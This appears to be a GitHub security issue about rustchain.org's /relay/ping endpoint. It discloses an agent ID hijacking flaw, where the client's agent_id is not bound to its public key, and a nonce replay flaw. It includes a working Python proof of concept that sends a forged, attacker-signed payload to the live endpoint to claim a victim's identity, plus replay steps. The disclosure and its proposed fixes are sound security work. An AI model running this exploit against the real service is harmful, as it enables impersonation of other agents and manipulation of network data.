-
-
Notifications
You must be signed in to change notification settings - Fork 31
Description
Summary
The /relay/ping endpoint on rustchain.org (and within the Atlas implementation in atlas/beacon_chat.py) contains two critical security vulnerabilities that allow for Agent ID Hijacking and Replay Attacks, even after the recent signature verification updates.
1. Agent ID Hijacking (Impersonation)
The server accepts an agent_id from the client without verifying that it matches the agent_id derived from the provided pubkey_hex. An attacker can register their own public key but claim a victim's agent_id, effectively taking over that identity in the Atlas.
Reproduction Code:
import requests, json, time
from beacon_skill.identity import AgentIdentity
victim_id = "bcn_victim_id_here" # Any existing ID
attacker = AgentIdentity.generate()
payload = {
"agent_id": victim_id, # CLAIM victim ID
"pubkey": attacker.public_key_hex, # PROVIDE attacker key
"nonce": f"hijack-{int(time.time())}",
"ts": int(time.time()),
"v": 2
}
# Sign with Attacker's key
msg = json.dumps(payload, sort_keys=True, separators=(",", ":")).encode("utf-8")
payload["sig"] = attacker.sign_hex(msg)
resp = requests.post("https://rustchain.org/beacon/relay/ping", json=payload)
print(resp.json()) # Returns victim_id but associated with attacker's key2. Nonce Replay Attack
The server does not track or reject duplicate nonces. A valid signed ping can be captured and replayed indefinitely by a third party to keep an agent's status 'active' against their will or to spam the Atlas.
Reproduction:
Submit the same valid signed JSON payload to /relay/ping twice. Both requests will return HTTP 200/201.
Expected Behavior
- The server MUST derive the
agent_idfrom thepubkey_hexand reject the request if the providedagent_iddoes not match. - The server MUST track nonces within the timestamp window and reject any duplicates.
Impact
- Critical: Any agent on the network can be impersonated or 'hijacked' by a malicious actor.
- Medium: Network status data can be manipulated via replays.